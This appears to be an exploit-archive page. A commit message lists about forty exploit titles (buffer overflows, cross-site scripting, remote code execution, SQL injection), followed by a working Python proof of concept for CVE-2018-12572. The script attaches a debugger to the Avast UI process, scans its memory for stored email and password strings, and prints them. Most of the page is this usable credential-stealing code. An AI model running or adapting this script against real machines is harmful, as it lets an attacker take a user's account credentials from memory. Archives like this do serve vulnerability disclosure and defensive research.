d622832ea0
21 changes to exploits/shellcodes KnFTP 1.0.0 Server - Multiple Buffer Overflows (Denial of Service) (SEH) (PoC) KnFTP 1.0.0 Server - Multiple Buffer Overflows (PoC) (SEH) Jzip - Buffer Overflow (Denial of Service) (SEH Unicode) Jzip - Buffer Overflow (PoC) (SEH Unicode) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (PoC) (SEH Overwrite) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (PoC) (SEH Overwrite) STIMS Buffer 1.1.20 - Buffer Overflow (Denial of Service) (SEH) (PoC) STIMS Buffer 1.1.20 - Buffer Overflow (PoC) (SEH Overwrite) Zortam Mp3 Media Studio 20.15 - Overflow (SEH) (Denial of Service) Zortam Mp3 Media Studio 20.15 - Overflow (PoC) (SEH) Netatalk 3.1.12 - Authentication Bypass (PoC) IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC) Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC) IP-Tools 2.50 - Local Buffer Overflow (PoC) Necrosoft DIG 0.4 - Buffer Overflow (PoC) (SEH Overwrite) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) FlexHEX 2.46 - Buffer Overflow (PoC) (SEH Overwrite) Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite) AirDroid 4.2.1.6 - Denial of Service FutureDj Pro 1.7.2.0 - Denial of Service NordVPN 6.19.6 - Denial of Service (PoC) River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH) Evince - CBT File Command Injection (Metasploit) Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure Netatalk - Bypass Authentication Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit) NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit) Indusoft Web Studio 8.1 SP2 - Remote Code Execution Smoothwall Express 3.1-SP4 - Cross-Site Scripting Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting VA MAX 8.3.4 - Authenticated Remote Code Execution CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting Webiness Inventory 2.3 - 'email' SQL Injection
49 lines
No EOL
1.5 KiB
Python
Executable file
49 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
|
|
# Date: 01/18/2019
|
|
# Exploit Author: Nathu Nandwani
|
|
# Website: http://nandtech.co/
|
|
# Version: before 19.1.2360 (build 19.1.4142.0)
|
|
# Tested on: Windows 10 x64
|
|
# CVE: CVE-2018-12572
|
|
# Based on LiquidWorm's and Yakir Wizman's proof of concepts
|
|
|
|
from winappdbg import Debug, Process
|
|
|
|
debug = Debug()
|
|
processname = "AvastUI.exe"
|
|
pid = 0
|
|
mem_contents = []
|
|
|
|
email = ""
|
|
password = ""
|
|
|
|
try:
|
|
debug.system.scan_processes()
|
|
for (process, process_name) in debug.system.find_processes_by_filename(processname):
|
|
pid = process.get_pid()
|
|
if pid is not 0:
|
|
print ("AvastUI PID: " + str(pid))
|
|
process = Process(pid)
|
|
for i in process.search_regexp('"password":"'):
|
|
mem_contents.append(process.read(i[0], 200))
|
|
print "Dump: "
|
|
print process.read(i[0], 200)
|
|
for i in mem_contents:
|
|
password = i.split(",")[0]
|
|
for i in process.search_regexp('"email":"'):
|
|
mem_contents.append(process.read(i[0], 200))
|
|
print "Dump: "
|
|
print process.read(i[0], 200)
|
|
for i in mem_contents:
|
|
email = i.split(",")[0]
|
|
if email != "" and password != "":
|
|
print ""
|
|
print "Found Credentials from Memory!"
|
|
print email
|
|
print password
|
|
else:
|
|
print "No credentials found!"
|
|
else:
|
|
print "Avast not running!"
|
|
finally:
|
|
debug.stop() |